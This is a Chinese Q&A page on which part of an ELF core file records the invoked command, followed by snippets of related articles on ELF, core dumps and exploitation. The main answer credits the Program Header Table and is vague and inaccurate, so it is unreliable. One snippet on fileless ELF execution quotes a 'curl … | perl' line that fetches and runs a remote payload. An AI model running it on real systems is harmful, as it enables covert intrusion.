首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

在ELF核心文件中,哪个部分存储了所调用命令的信息?

在ELF核心文件中,存储了所调用命令的信息的部分是Program Header Table(程序头表)。Program Header Table是ELF文件中的一个数据结构,它包含了程序加载和执行所需的各种信息,包括可执行文件的段(Segment)信息、动态链接器的信息、共享库的信息等。Program Header Table中的每个条目描述了一个段的属性和位置,其中包括段的类型、大小、内存对齐方式、文件偏移量等信息。通过解析Program Header Table,系统可以获取到ELF文件中所调用命令的信息,从而正确加载和执行程序。

推荐的腾讯云相关产品:腾讯云云服务器(CVM) 腾讯云云服务器(CVM)是一种弹性计算服务,提供了多种规格的云服务器实例供用户选择。用户可以根据自己的需求选择合适的配置和操作系统,快速创建和管理云服务器。腾讯云云服务器支持多种操作系统,包括Linux和Windows,提供了丰富的网络和存储选项,可以满足不同应用场景的需求。

产品介绍链接地址:https://cloud.tencent.com/product/cvm

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

详解 Linux 可执行文件 ELF 文件的内部结构

在 linux 中,可执行文件、Object文件、动态库文件都是ELF格式文件,他相当于 windows 操作系统中的 PE 文件。 通过 readelf 命令可以读取 ELF 文件的内容。 3....unsigned char 1 1 无符号小整数 下图展示了上篇文章中我们生成的两个文件通过 readelf 命令读取到的头信息: 3.2....; // 段在文件内和内存中的对齐方式 Elf32_Word p_align; } Elf32_Phdr; 通过 readelf -l 命令我们就可以查看文件的 program...后记 本文,我们介绍了 ELF 文件的四个组成部分,以及其中三个的具体结构,而实际存储数据的 section 的结构我们并没有介绍。...了解了上面的结构信息,你就会发现,事实上与我们的目标直接相关的是 ELF 文件中的 Program Header 部分,他描述了可执行文件中有那几个段,每个段需要被载入到内存的哪个位置,而每个段包含多少个节

2.9K21

内核级木马与病毒攻防:Linux可执行文件的ELF格式描述

ELF文件中的程序表头是很重要的数据结构,它用来描述各个段的信息,例如哪里是代码段,哪里是数据段,这些段有多长,要加载到虚拟内存哪个位置等等。...通过程序表头中的e_phoff可以获得该表头在ELF文件中的偏移,其二进制数据结构如下: typedef struct { uint32_t p_type; (segment type) Elf32...ELF格式的可执行文件在概念上由各种”段“组成,例如用于存储代码的文本段,用于存储数据的数据段等,这些段的数量和相关信息就由程序表头来描述,在加载运行ELF可执行文件时,系统会读取程序表头,获得各个段的信息...*段包含的信息用于告诉系统将如何变换某些段的虚拟空间地址;.hash段包含一个哈希表,用来加速对符号的查找,所谓符号是编译器设置的用于记录代码中变量类型,取值等信息的数据结构,它属于编译原理的内容,有了符号...我们可以通过如下方式查看各种段的信息,首先先将代码编译成.o类型的中间文件:gcc -c hello_world.c,然后调用命令readelf -S hello_wolrd.o,所得结果如下图: ?

1.7K10
  • Linux无文件渗透执行ELF

    01 简介 在进行Linux系统的攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令,通过/proc/$pid/...02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...这就是可以被攻击者所利用的,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们的目的。 ?...系统调用号码存储在以_NR开头的#define中。 ?...第三部分就是执行该文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?

    5.6K80

    第48章 MDK的编译过程及文件类型全解(1)

    armcc armcc用于把c/c++文件编译成ARM指令代码,编译后会输出ELF格式的O文件(对象、目标文件),在命令行中输入"armcc"回车可调用该工具,它会打印帮助说明,见图 489 图 489...armcc的帮助提示 帮助提示中分三部分,第一部分是armcc版本信息,第二部分是命令的用法,第三部分是主要命令选项。...在本教程中,仅讲解ELF文件的核心概念。 ELF是Executable and Linking Format的缩写,译为可执行链接格式,该格式用于记录目标文件的内容。...各个部分的功能说明如下:     ELF文件头用来描述整个文件的组织,例如数据的大小端格式,程序头、节区头在文件中的位置等。...    程序头告诉系统如何加载程序,例如程序主体存储在本文件的哪个位置,程序的大小,程序要加载到内存什么地址等等。

    1.6K10

    Linux可执行文件与进程的虚拟地址空间

    可以看到,这里面并没有标明哪个是TEXT段,哪个是DATA段和BSS段。但是可以发现,前三个VMA的权限都不一样。 虚拟地址空间存储区的分布 ?...通过readelf -S name.elf可以查看ELF可执行文件的节头表,这里面有所有节的信息 ? 在将目标文件链接成可执行文件的时候,链接器会尽量把相同权限属性的段分配在同一空间。...可以使用命令 readelf -l name.elf来查看ELF的段。在ELF的程序头表,保存着segment的信息 ? 最下面是是段与节的归属关系: ?...ELF将相同或者相似属性的section合并为一个segment并映射到一个VMA中,是为了减少页面内部碎片,以节省内存空间的使用。因为在有了虚拟存储机制以后,装载的时候采用页映射的方式。...这样做的好处就是在构造ELF可执行文件时,不需要再额外设立BSS的segment了,只需把数据segment的内存扩大,那些额外的部分就是BSS。而这部分多出的BSS空间,会被全部填充为0 。

    4.3K30

    有了core-dump文件,BUG终于解决了!

    core-dump文件,又称为核心转储,是操作系统在进程收到某些信号终止运行时,将此时进程的地址空间、进程状态以及其他信息写入到一个文件中,这个文件就是core-dump文件,其主要是为了方便开发人员调试...到此,我们的core-dump就配置完成了,当发生崩溃或者异常终止的时候,就自动生成core-dump文件了。 2.3 特殊信息配置 这一部分,发现很少有人描述到,再此也记录一下!...最后根据当前进程所使用的可执行文件格式来选择相应的填充方法来填充 coredump 文件的内容,对于 ELF文件格式 使用的是 elf_core_dump 方法。...elf_core_dump 方法的主要工作是:把进程的内存信息和内容写入到 coredump 文件中,并且以 ELF文件格式 作为 coredump 文件的存储格式。...while循环,最终仍然是卡死在异常线程的,此时可以看一下CPU占用率,哪个最高就是哪个线程触发的!

    1.7K20

    后台开发:核心技术与应用实践 -- 编译与调试

    所以当无法判断宏定义是否正确或头文件包含是否正确时,可以查看预处理后的文件来确定问题 编译 编译过程就是把预处理完的文件进行一系列的词法分析、语法分析 语义分析以及优化后产生相应的汇编代码文件,这个过程往往是整个程序构建的核心部分...目标文件 ELF 是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储的标准文件格式。...ELF 文件头被固定地放在不同类对象文件的最前面 因此,我们可以用 file 命令来看文件是属于哪种 ELF 文件,如下: ?...strip 命令能从 ELF 文件中有选择地除去行号信息、重定位信息、调试段、 typchk 段、注释段、文件头以及所有或部分符号表。...一旦使用该命令,则很难调试文件的符号;因此,通常只在已经调试和测试过的生成模块上使用 strip 命令,来减少对象文件所需的存储量开销。

    76910

    【胖虎的逆向之路】——GOTPLT Hook详解&针对自定义so库的Hook实操

    ELF文件在链接视图中是 以节(section)为单位来组织和管理各种信息 看图图~ 其中比较重要的是圈起来的几个点,以下是说明: .dynsym:为了完成动态链接,最关键的还是所依赖的符号和相关文件的信息...,以机器码的形式存储 .dynamic:描述了模块动态链接相关的信息 .got:全局偏移表(Global Offset Table),用于记录外部调用的入口地址 .data: 数据段,保存的那些已经初始化了的全局静态变量和局部静态变量...ELF文件在执行视图中是 以段(Segment)为单位来组织和管理各种信息 所有类型为 PT_LOAD 的段(segment)都会被动态链接器(linker)映射(mmap)到内存中 程序头表(program...“段 (segment)”包含一个或者多个“节(section)” 程序头只对可执行文件或共享目标 文件有意义,对于其它类型的目标文件,该信息可以忽略 在目标文件的文件头 (elf header)中,e_phentsize...,外部调用的跳板,在ELF文件中以独立的段存放,段名通常叫做”.plt” GOT:全局偏移表(Global Offset Table),用于记录外部调用的入口地址,段名通常叫做”.got” 到这里我们就开始实际操作了

    1.2K41

    ELF文件格式简介

    ELF文件包含一个Header描述文件的基本信息;程序头表告诉徐彤如何构建进程的内存镜像,因此只有可执行文件由程序头表;Sections描述了链接过程中的需要的符号表、数据、指令等信息,而在可执行文件中是...Segments,是经过合并的Secitons;节/段头表指明了对应section/segment在文件中的偏移,链接阶段的ELF文件必须包含该表头;而每个节/段头描述了对应的section/segment...2.1 ELF Header   ELF文件头描述了ELF文件的基本类型,地址偏移等信息,分为32bit和64bit两个版本,定义于linux源码的/usr/include/elf.h文件中。...2.2 程序头表(Program Header Table)   可执行文件或者共享目标文件的程序头部是一个结构数组,每个结构描述了一个段 或者系统准备程序执行所必需的其它信息。...程序头表描述了ELF文件中Segment在文件中的布局,描述了OS该如何装载可执行文件到内存。程序头表的表项的描述如下,类似于ELF Header也有32和64位两个版本。

    2.2K31

    哈勃linux沙箱-源码剖析上篇

    文件类型信息 通过file命令获取文件信息,比如是二进制还是其他类型文件,在linux中是无法通过后缀判断它是什么文件的。 ? 2....第三节 动态检测 动态检测是沙箱的核心部分,但是本篇不展开讲解,在下一篇进行详细分析,因为动态检测的原理比较复杂。动态检测的内容在dynamic目录下的dynamic_analyzer.py文件里。...在elf文件中,出于动态链接的需要,需要在elf文件中保存函数的符号,供链接器使用。具体格式,大家可以参考elf文件的格式。...这样ltrace就能够获得该文件中,所有系统调用的符号,以及对应的执行指令。然后,ltrace将该执行指令所对应的4个字节替换成断点指令。...内存分析 对于内存,沙箱基本上都是基于volatility来做的,哈勃也不例外。哈勃主要分析了两部分内存: 1.bash 调用历史 ? 2.父子进程的关系 ?

    2.6K10

    程序的编译、链接、装载与运行

    段的数量 … 从header中我们可以得到很多有用的信息,其中的一个尤其重要,那就是段表的位置和长度,通过这一信息我们可以从ELF文件中获取到段表(Section Hedaer Table),在ELF...段表保存了ELF文件中所有的段的基本属性,包括每个段的段名、段在ELF文件中的偏移、段的长度以及段的读写权限等等,段表决定了整个ELF文件的结构。...off:段在ELF文件中的偏移地址 CONTENTS:表示此段存在于ELF文件中 … 我们重点关注.text、.data、.bss和.rodata这几个段: .text 段保存了程序中的所有指令信息,objdump...栈为每一个函数调用维护了其所需要的一些信息,为每个函数所维护的信息部分叫做栈帧(Stack Frame),栈被分割为很多个栈帧。...回顾历史我们就会发现,C语言就是为了Unix而被发明的,它们之间在发展的过程中也不断的互补与完善,这才有了我们今天所看到的联系的十分紧密的类Unix操作系统和C语言编译器。

    1.4K10

    ELF格式分析与常用工具以及不常见问题

    前言: ELF只linux是最常用的可执行文件格式,这里简单分析一下ELF格式,介绍几个常用命令,并分享几个不常见的问题。...好处是会让binary小很多,并且在binary中不会残留编译机器上的信息;坏处就是出了问题之后,不能debug。...4,*.a 想要编译静态链接库,需要先用gcc编译成*.o文件,把*.o文件使用ar命令打包即可。 5,section ? ELF格式是由一个或者多个section组成的。...在4008bc这个地址上,把40090a放到了edi中,在x86上,edi就是第一个参数的参数的地址,然后调用了__cxa_atexit函数,可见,g++编译的时候,已经帮我们把全局类变量的析构函数注册给了...如果声明 了同一个类的两个实例,哪个实例先构造呢?聪明的你可能会发现,先声明的实例先执行构造,那么如果在不同的.h文件中声明的呢?怎么确定哪个先被引用到的?

    2.2K70

    Linux漏洞分析入门笔记-CVE_2018_6323_整型溢出

    4.objdump 用于显示一个或多个目标文件的各种信息,通常用作反汇编器,但也能显示文件头,符号表,重定向等信息。 从源码中可以看到objdump 的执行流程如下: a....首先检查命令行参数,通过 switch 语句选择要被显示的信息。 b. 剩下的参数被默认为目标文件,它们通过 display_bfd() 函数进行排序。 c....d. dump_bfd() 依次调用单独的函数来显示相应的信息。 0x01: 漏洞分析 1.编译下面代码gcc -c test.c -o test生成elf文件。...图1 用objdump读取构造后的ELF文件后抛出异常,并且提示了错误的原因,如图2所示: ?           图2 3.通过回溯栈调用情况,一步一步追踪函数调用,在关键函数下断点动态调试分析。...从图4原码中可以看到,在后面的 bfd_alloc() 被调用时,第二个参数即大小为 0,函数里面并没有真正的分配内存成功, 并且给了一个随机的内存值。图5所示。 ?

    93420

    栈溢出利用之Return to dl-resolve

    上面一张图片简单描述了第一次调用函数的流程。而要说到dl_runtime_resolve如何解析函数,那就不得不提到ELF文件中几个关键的节区了。见下图框起来的部分。 ? ?...符号表索引 } Elf32_Rel; r_offset就是该函数在got表的位置,r_info用来检索函数其他信息在节区dynsym中的位置。...ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8 dynsym节区中每个存储函数信息的数据结构如下: typedef struct...伪造sym中的st_name所代表的偏移值,可以使得str落在我们可控范围内。 伪造str的值,比如system。...data部分是从bss段开始的,我留出了880个字节当作dl_runtime_resolve函数调用所需的栈空间,得益于这是一片可写区域。之后的空间就是我放置伪造信息的区域了。

    59000

    完全剖析 - Linux虚拟内存空间管理

    在 Linux 系统中,就是使用这种文件格式来存储一个可执行的应用程序。...ELF 文件的结构大概如图3所示: ? 当内核加载一个应用程序时,就是通过读取 ELF 文件的信息,然后把文件中所有的段加载到虚拟内存的段中。...ELF 文件通过 程序头表 来描述应用程序中所有的段,表中的每一个项都描述一个段的信息。...我们可以通过 readelf -S file 命令来查看 ELF 文件的段(节)信息,如下图所示: ? 上面列出了 代码段、数据段、未初始化数据段 和 注释段 的信息。 2....通过上面的过程,内核就把应用程序的所有段加载到虚拟内存中。 总结 本文主要介绍了 Linux 内核是怎么加载应用程序,并且在虚拟内存中建立各个段的布局。

    3.2K12

    Trace32 simulator调试以及简单实用命令介绍

    /vmlinux 0x1488800000 /nocode 加载elf文件命令,把指定的elf文件加载到目标设备或者仿真设备的0x1488800000地址上去。...elf文件在编译时会把源文件的路径加入到elf文件中,我们后面加上/nocode代表没有对应的sourcecode,trace32就不会去对应目录去查找源文件了。...v.f 用来查看系统当前的调用栈关系,通过这个界面,类似于kernel dmesg中的dump stack,我们可以查看函数调用栈回溯。...不同CPU运行信息查看 对于多核芯片,比如高通的ramdump,最后抓出来的数据,我们利用simulator功能来仿真时,每次只设置了一个CPU核,那么对于多核心怎么来确定,当前使用的是哪个CPU呢?...core5_regs.cmm core6_regs.cmm core7_regs.cmm 这些文件分别存储了不同CPU核心的寄存器信息,我们通过在trace32加载不同的脚本来区分查看不同的

    91310

    《程序员的自我修养》笔记

    符号表也是段 elf文件头结构 elf文件类型:重定位/可执行文件/共享文件类型 EM:可运行的CPU平台 eshotoff:段表的偏移 使用readelf -S可以查看 详细的段表内存储的段信息 每个...“ Elf32_Shdr ”结构体对应一个段表里面存储的短信息。...+符号的段偏移 在目标文件中: 如果“符号所在段(st_shndx)”的值不是COMMON类型的,那么这个符号值代表的就是这个符号在文件中的偏移,即符号所对应的函数或变量位于由st_shndx指定的段,...SO里面会存储完整的动态库符号信息:也就是导出符号表 就是通过编译共享库的时候可以指定编译器参数 打出共享库目标文件(.o)和 共享库链接信息(.so) ,这个so里面会记录共享库中完整的符号信息,这样连接器在查找符号的时候如果发现可以在...具体来说访问一个延迟绑定的符号的过程是: 找到该符号在plt中的存储的信息,查找该符号在got标中能否找到对应的地址,如果能找到就跳转到got中存储的地址执行;如果找不到就会把plt项中该符号的信息压入栈中

    9910

    so文件在线加固加密_安卓so文件解密

    这就引入了我们今天的主题,可以把我们关键的so文件中的核心函数放在自己所定义的节里面,然后进行加密保护,在合适的时机构造解密函数,当然解密函数可以用这个_attribute__((constructor...getLibAddr()这个函数:在介绍这个函数之前首先了解一个内存映射问题: 和Linux一样,Android提供了基于/proc的“伪文件”系统来作为查看用户进程内存映像的接口(cat /proc/...2.对得到的.so文件进行加密:这一块也是一个重点,大致上逻辑我们可以这么认为:先找到那个我们自己所定义的节,然后找到对应的offset和size,最后进行加密,加密完以后重新的写到另一个新的.so文件中...,这样会产生浪费,在操作系统的层面来讲,可以吧相同权限的section放在一起成为一个Segment再进行映射,这样一来减少浪费,但是在映射的时候会有一部分信息不会映射到内存中,可以看这个图: 、 因此来说修改这些不会报错...本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

    3.1K40

    认识目标文件的格式——a.out COFF PE ELF

    它们在Windows下都按照PE-COFF格式存储,Linux下按照ELF格式存储。静态链接库稍有不同,它是把所有目标文件打包成一个文件,再加上一些索引,可以简单理解为一个包含很多目标文件的文件包。...,二是与可执行文件结合,作为进程映像的一部分来运行 Linux的.a,Windows的.dll 可执行文件(Executable File) 包含了可直接执行的程序 Linux下无后缀的ELF可执行文件...,Windows的.exe文件 核心转储文件(Core Dump File) 当进程意外终止时,系统可以将该进程的地址空间的内容及终止时的一些其他信息转储到核心转储文件 Linux下的core dump...Linux下可以根据file命令查看上面表格中列出的四种ELF文件的格式。...由于COFF格式的设计非常通用,以至于COFF的继承者PE和ELF目前还在被广泛地使用。COFF的主要贡献是在目标文件中引入了“段”的机制,不同的目标文件可以拥有不同数量及不同类型的段。

    3.1K30

    来自非科班的面经回忆!(大厂,国企,银行)

    笔者非科班转行,两个月拿了十多个offer,其中包括了互联网大厂,央企,国企,银行等,下面看看都面了什么(部分回忆)。总之,在面试国企等企业时,会有一些有意思的问题,也会出现群面的场景。...如何查看段的范围和大小 elf目标可执行文件的组成部分,elf文件中的段跟运行时的段有什么区别 如何装载目标文件到内存当中 缺页中断的处理过程 提到了换页换出的时候会产生缺页中断,反问是否一定是换页产生的吗...优点:减少页表 对于汇编这部分了解多吗?C语言的函数调用在汇编的角度是怎么实现的? 提到了ebp,esp函数栈,jmp跳转 Linux库函数memcpy,能不能想出比较高效的内存拷贝方式。...为了防止编译器进行哪种方式的优化? 为了防止编译器优化,最核心的是做了什么优化,怎么理解直接去读这个值 缓存是一个什么样的硬件? 寄存器也算是缓存的一部分吗?...CPU访问寄存器、访问缓存、访问内存哪个快?访问的时间周期是多少?快多少倍? 本科、研究生、实习做的项目和事情中哪个事情比较满意,能够体现自己的能力的? 技术也好、做事情的方式也好的优势和劣势?

    98200
    领券